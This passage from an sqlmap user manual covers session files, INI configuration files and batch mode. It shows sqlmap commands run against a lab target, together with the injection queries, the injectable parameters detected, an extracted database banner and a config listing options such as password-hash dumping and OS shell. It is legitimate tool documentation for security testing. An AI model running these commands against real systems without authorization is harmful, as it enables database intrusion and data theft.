Note that the default configuration file sqlmap.conf is backupped to sqlmap.conf.bak in case a new stable version is available and your copy is updated.

5.8.3 Save and resume all data retrieved on a session file

```
Option: -s
```

It is possible to log all queries and their output on a text file while performing whatever request, both in blind SQL injection and in inband SQL injection. This is useful if you stop the injection and resume it after some time.

Example on a PostgreSQL 8.2.7 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
    -v 1 -s "sqlmap.log"

[...]
back-end DBMS: PostgreSQL

[hh:mm:42] [INFO] fetching banner
[hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
[hh:mm:42] [INFO] retrieved: PostgreSQL 8.2.7 o
[hh:mm:43] [ERROR] user aborted
```

As you can see, I stopped the injection with CTRL-C while retrieving the PostgreSQL banner and logged the session to text file sqlmap.log.

```
$ cat sqlmap.log
[hh:mm:40 MM/DD/YY]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php] [GET] [id=1&cat=2] [Injection point] [GET]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php] [GET] [id=1&cat=2] [Injection parameter] [id]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php] [GET] [id=1&cat=2] [Injection type] [numeric]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php] [GET] [id=1&cat=2] [Parenthesis] [0]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php] [GET] [id=1&cat=2] [CONCAT('1', '1')] []
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php] [GET] [id=1&cat=2] [LENGTH(SYSDATE)] []
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php] [GET] [id=1&cat=2] [COALESCE(9, NULL)] [9]
```

```
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php] [GET] [id=1&cat=2] [LENGTH('9')] [1] [http://192.168.1.121:80/sqlmap/pgsql/get_int.php] [GET] [id=1&cat=2] [DBMS] [PostgreSQL] [http://192.168.1.121:80/sqlmap/pgsql/get_int.php] [GET] [id=1&cat=2] [VERSION()] [PostgreSQL 8.2.7 o
```

As you can see, all queries performed and their output have been logged to the session file in real time while performing the injection.

The session file has a structure as follows:

```
[hh:mm:ss MM/DD/YY]
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
```

Performing the same request now, sqlmap calculates the query length, in the example VERSION(), and resumes the injection from the last character retrieved to the end of the query output.

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
  -v 1 -s "sqlmap.log"
[...]
back-end DBMS: PostgreSQL
[hh:mm:37] [INFO] fetching banner
[hh:mm:37] [INFO] retrieved the length of query output: 93
[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.2.7 o...
[hh:mm:37] [INFO] retrieving pending 75 query output characters
[hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)),
(CHR (32)))
[hh:mm:37] [INFO] starting 1 threads
[hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
4.2.3-2ubuntu4)
           'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
banner:
4.2.3-2ubuntu4),
```

5.8.4 Load options from a configuration INI file

Option: -c

It is possible to pass user's option from a configuration INI file, an example is sqlmap.conf.

Example on a MySQL 5.0.51 target:

```
$ python sqlmap.py -c "sqlmap.conf"
[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
back-end DBMS: MySQL >= 5.0.0
```

5.8.5 Save options on a configuration INI file

```
Option: -save
```

It is possible to save the command line options to a configuration INI file.

Example on a PostgreSQL 8.2.7 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
    -v 1 --save

[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf'
configuration file
[hh:mm:33] [INFO] testing connection to the target url
[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
[...]
```

As you can see, sqlmap saved the command line options to a configuration INI file, sqlmap-ADMcR.conf.

```
$ cat sqlmap-ADMcR.conf
[Request]
aCred =
aType =
agent =
cookie =
data =
googleDork =
method = GET
proxy =
referer =
testParameter =
threads = 1
url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2
userAgentsFile =
[Miscellaneous]
eta = False
sessionFile =
unionTest = False
unionUse = False
updateAll = False
verbose = 1
[Enumeration]
col =
db =
dumpAll = False
dumpTable = False
excludeSysDbs = False
getBanner = True
getColumns = False
getCurrentDb = False
getCurrentUser = False
getDbs = False
getPasswordHashes = False
getPrivileges = False
getTables = False
getUsers = False
query =
sqlShell = False
tbl =
user =
```

```
[File system]
rFile =
wFile =

[Takeover]
osShell = False

[Fingerprint]
extensiveFp = False

[Injection]
dbms =
string =
```

The file is a valid sqlmap configuration INI file. You can edit the configuration options as you wish and pass it to sqlmap with the -c option as explained in the previous paragraph:

```
$ python sqlmap.py -c "sqlmap-ADMcR.conf"

[...]
back-end DBMS: PostgreSQL

[hh:mm:10] [INFO] fetching banner
[hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
[hh:mm:10] [INFO] retrieved: PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC)
4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[hh:mm:16] [INFO] performed 657 queries in 6 seconds
banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
4.2.3-2ubuntu4)'
```

5.8.6 Act in non-interactive mode

Option: -batch

If you want sqlmap to run as a batch tool, without interacting with you in case of a choice has to be done, you can force it by using -batch option than letting sqlmap go for a default behaviour.

Example on a MySQL 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&name=luther" -v 1 \
--batch

[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' name'
```

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[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go ahead:
[0] place: GET, parameter: id, type: numeric (default)
[1] place: GET, parameter: name, type: stringsingle
[q] Quit
Choice: 0
[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
[...]
back-end DBMS: MySQL >= 5.0.0
```

As you can see, sqlmap choosed automatically to injection on the first vulnerable parameter which is the default behaviour.

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